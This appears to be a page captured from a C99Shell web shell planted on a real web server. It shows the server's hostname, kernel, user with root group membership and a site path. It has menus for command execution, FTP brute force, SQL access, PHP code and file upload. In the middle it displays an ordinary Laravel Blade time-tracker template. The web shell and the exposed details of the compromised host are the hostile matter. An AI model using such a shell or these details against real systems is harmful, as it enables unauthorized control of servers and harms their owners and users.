!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/resources/views/time_trackers/   drwxr-xr-x
Free 26.61 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     time_tracker_table.blade.php (8.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@php
    $i = 0;
@endphp
@forelse ($trackers as $key =>$track)
    @php
        $tracker = $trackers->toArray();
        $first_acc = 0;
        $data = $track->toArray();
        if(isset($data['0'])){
            $year=$data['0']['start_time'];
            $year = Date('Y',strtotime($year));
        }else{
            $year = \Carbon\Carbon::now()->year;
        }
        $time = collect($track);
        $total = $time->sum('total_time');
        $day_group = $time->groupBy(function($date,$k) {
            return \Carbon\Carbon::parse($date->start_time)->format('d');
        });
        $time = Utility::second_to_time($total);
        $year=date("Y");
        $date = Utility::getStartAndEndDate($key-1,$year);

        $currentWeek = date( 'W' );
        $today = strtotime( date( 'Y-m-d' ) ) - 7*24*60*60; // last week this day
        $lastWeek = date( 'W', $today );
    @endphp
    <div class="card">
        <div class="card-body timetracker_options">
            <div class="clearfix">
                <div class="float-left">
                    <h5  class="week-date">
                        @if($currentWeek == $key)
                            {{__('This week')}}
                        @elseif($lastWeek == $key)
                            {{__('Last week')}}
                        @else
                            {{date('M d',strtotime($date['start_date']. ' +1 day'))}} - {{date('M d',strtotime($date['end_date']. ' +1 day'))}}
                        @endif
                    </h5>
                </div>
                <div class="float-right">
                    <div> {{ __('Week total') }} : <b> {{$time}}</b> </div>
                </div>
                <span class="clearfix"></span>
            </div>
            <div class="time-schrdule bg-white p-2 small">
                <div class="row">
                    <div class="col-3"> <b> {{ __('Title') }} </b> </div>
                    <div class="col-1"> <b> {{ __('Project Name') }} </b> </div>
                    <div class="col-1"> <b> {{ __('User') }} </b> </div>
                    <div class="col-2"> <b> {{ __('Tags') }} </b> </div>
                    <div class="col-1"> <b> {{ __('Date') }} </b> </div>
                    <div class="col-1"> <b> {{ __('Start') }} </b> </div>
                    <div class="col-1"> <b> {{ __('End') }} </b> </div>
                    <div class="col-1"> <b> {{ __('Time') }} </b> </div>
                    <div class="col-1"> <b> </b> </div>
                </div>
                <div class="bb1"></div>
                <div class="project-acc">
                    @foreach ($day_group->reverse() as $key =>$day_tracks)
                        @php
                            $time_day = collect($day_tracks);
                            $total_day = $time_day->sum('total_time');
                            $total_day = Utility::second_to_time($total_day);
                            $name_group = $time_day->groupBy('name');
                            $class = 'open-accordion';
                        @endphp
                        @foreach ($name_group->reverse() as $key =>$name)
                            @php
                                $name_array =$name->toArray();
                                $total_name = collect($name_array)->sum('total_time');
                                $total_name = Utility::second_to_time($total_name);
                                $sdates = collect($name_array)->pluck('start_time')->toArray();
                                $edates = collect($name_array)->pluck('end_time')->toArray();
                                $ttag = collect($name_array)->pluck('tag_id')->toArray();
                                $strat_time =  min($sdates);
                                $end_time = max($edates);
                                $date = '';
                                if(!empty($name)){
                                    $date = date("M-d-Y",strtotime($name[0]->start_time));
                                    $user_name = $name[0]->user_name;
                                    $project_name = $name[0]->project_name;
                                }
                                if($first_acc == 0){
                                    $class = 'open-accordion';
                                    $first_acc = 1;
                                    $aicon = 'fa-chevron-up';
                                    $disply = '';
                                    $arrow = 'close-acc';
                                }else{
                                    $arrow = 'open-acc';
                                    $disply = 'none';
                                    $class= '';
                                    $aicon = 'fa-chevron-down';
                                }
                            @endphp
                            <div class="row acc-mainmenu">
                                <div class="col-3"> <i class="ti ti-plus accodian-plus"></i> {{$key}}</div>
                                <div class="col-1">{{$project_name}}</div>
                                <div class="col-1">{{$user_name}}</div>
                                <div class="col-2">#</div>
                                <div class="col-1">{{$date}}</div>
                                <div class="col-1">{{date("H:i:s",strtotime($strat_time))}}</div>
                                <div class="col-1">{{date("H:i:s",strtotime($end_time))}}</div>
                                <div class="col-1">{{$total_name}}</div>
                                <div class="col-1"></div>
                            </div>
                            @if(!empty($name))
                                <div class="acc-sub-menu" style="display: none;">
                                    @foreach ($name as $key =>$t)
                                        <div class="row acc-sub-menu-div">
                                            <div class="col-3"> {{$t->name}}</div>
                                            <div class="col-1">{{$t->project_name}}</div>
                                            <div class="col-1">{{$t->user_name}}</div>
                                            <div class="col-2">
                                                @if(empty($t->tags_name))
                                                    <p>#</p>
                                                @else
                                                    <p>
                                                        @foreach($t->tags_name as $tag)
                                                            #{{$tag}},
                                                        @endforeach
                                                    </p>
                                                @endif
                                            </div>
                                            <div class="col-1">{{date("M-d-Y",strtotime($t->start_time))}}</div>
                                            <div class="col-1">{{date("H:i:s",strtotime($t->start_time))}}</div>
                                            <div class="col-1">{{date("H:i:s",strtotime($t->end_time))}}</div>
                                            <div class="col-1">{{$t->total}}</div>
                                            <div class="col-1">
                                                <img alt="Image placeholder" src="{{ asset('assets/images/gallery.png')}}" class="avatar view-images rounded-circle avatar-sm" data-toggle="tooltip" data-original-title="{{__('View Screenshot images')}}" style="height: 25px;width:24px;margin-right:10px;cursor: pointer;" data-id="{{$t['id']}}" id="track-images-{{$t['id']}}">
                                                <i data-id="{{$t['id']}}" data-is_billable="{{$t['is_billable']}}" data-toggle="tooltip" data-original-title="{{$t['is_billable'] ==1? __('Click to Mark Non-Billable'):__('Click to Mark Billable')}}" class="change_billable ti ti-dollar-sign {{$t['is_billable'] ==1?'doller-billable':'doller-non-billable'}}"></i>
                                                <i class="ti ti-times text-danger mx-2 pointer remove-track " data-toggle="tooltip" data-original-title="{{__('Delete')}}" data-id="{{$t['id']}}" data-url=""></i>
                                            </div>
                                        </div>
                                        @endforeach
                                    </div>
                                    @endif
                        @endforeach
                    @endforeach
                </div>
            </div>
        </div>
    </div>
@empty
    <div class="timetracker_options card p-5">
        <div class="selected_date week_total text-center mx-auto">
            <span class="week-date"> {{__('Records not found')}}</span>
        </div>
    </div>
@endforelse
<script type="text/javascript">
    $('[data-type="times"]').timeEntry({
        show24Hours: true,
    });
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0082 ]--